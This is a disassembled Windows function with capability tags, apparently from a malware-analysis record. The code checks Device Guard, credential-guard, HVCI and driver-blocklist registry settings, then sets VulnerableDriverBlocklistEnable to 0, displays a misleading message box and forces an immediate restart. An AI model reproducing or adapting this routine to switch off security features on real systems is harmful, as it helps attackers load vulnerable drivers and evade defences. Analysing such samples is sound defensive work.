Function at 0x14006e810
Capabilities:
Disable device guard features via registry on windows
Disable system features via registry on windows
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp + 0x20]
mov qword [rsp + 0x58], rbx
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x10], 4
lea rdx, str.SYSTEMCurrentControlSetControlDeviceGuard
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14006e882
mov rcx, qword [rbp + 0x20]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rdx, str.EnableVirtualizationBasedSecurity
lea rax, [rbp + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x20]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetControlLsa
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14006e8f2
mov rcx, qword [rbp + 0x20]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rdx, str.LsaCfgFlags
lea rax, [rbp + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp + 0x20]
test eax, eax
jne 0x14006e8ec
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx ebx, byte [rbp + 0x18]
and bl, 1
jmp 0x14006e951
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x20]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMCurrentControlSetControlDeviceGuardScenariosHypervisorEnforcedCodeIntegrity
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14006e94f
mov rcx, qword [rbp + 0x20]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rdx, str.Enabled
lea rax, [rbp + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
lea rax, [rbp + 0x20]
mov qword [rsp + 0x50], rdi
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x10], 4
lea rdx, str.SYSTEMCurrentControlSetControlCIConfig
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14006e9ce
mov rcx, qword [rbp + 0x20]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rdx, str.VulnerableDriverBlocklistEnable
lea rax, [rbp + 0x18]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp + 0x20]
test eax, eax
jne 0x14006e9c8
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 0x18], 1
sete dil
jmp 0x14006e9d1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor dil, dil
test bl, bl
mov rbx, qword [rsp + 0x58]
jne 0x14006e9ec
test dil, dil
jne 0x14006e9f6
mov al, 1
mov rdi, qword [rsp + 0x50]
add rsp, 0x60
pop rbp
ret
call fcn.14006e5f0
test dil, dil
je 0x14006ea6d
xor r8d, r8d
lea rax, [rbp + 0x18]
mov qword [rsp + 0x40], r8
lea rdx, str.SYSTEMCurrentControlSetControlCIConfig
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r8
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r8d
mov dword [rbp + 0x10], r8d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14006ea6d
mov rcx, qword [rbp + 0x18]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.VulnerableDriverBlocklistEnable
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 0x30
lea r8, str.System_Restart
lea rdx, str.System_settings_have_been_modified._The_system_will_restart_in_10_seconds_to_apply_changes.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x14006eae0
lea rcx, [rbp + 0x10]
call fcn.14006e510
mov rax, qword [rbp + 0x10]
movabs rcx, 0x7ffffffdabf41bff
cmp rax, rcx
jge 0x14006eabd
movabs rcx, 0x2540be400
add rcx, rax
mov qword [rbp + 0x10], rcx
jmp 0x14006eacb
movabs rax, 0x7fffffffffffffff
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.14007be20
lea rcx, str.shutdown__r__t_0
call fcn.140181b30
mov rdi, qword [rsp + 0x50]
xor al, al
add rsp, 0x60
pop rbp
ret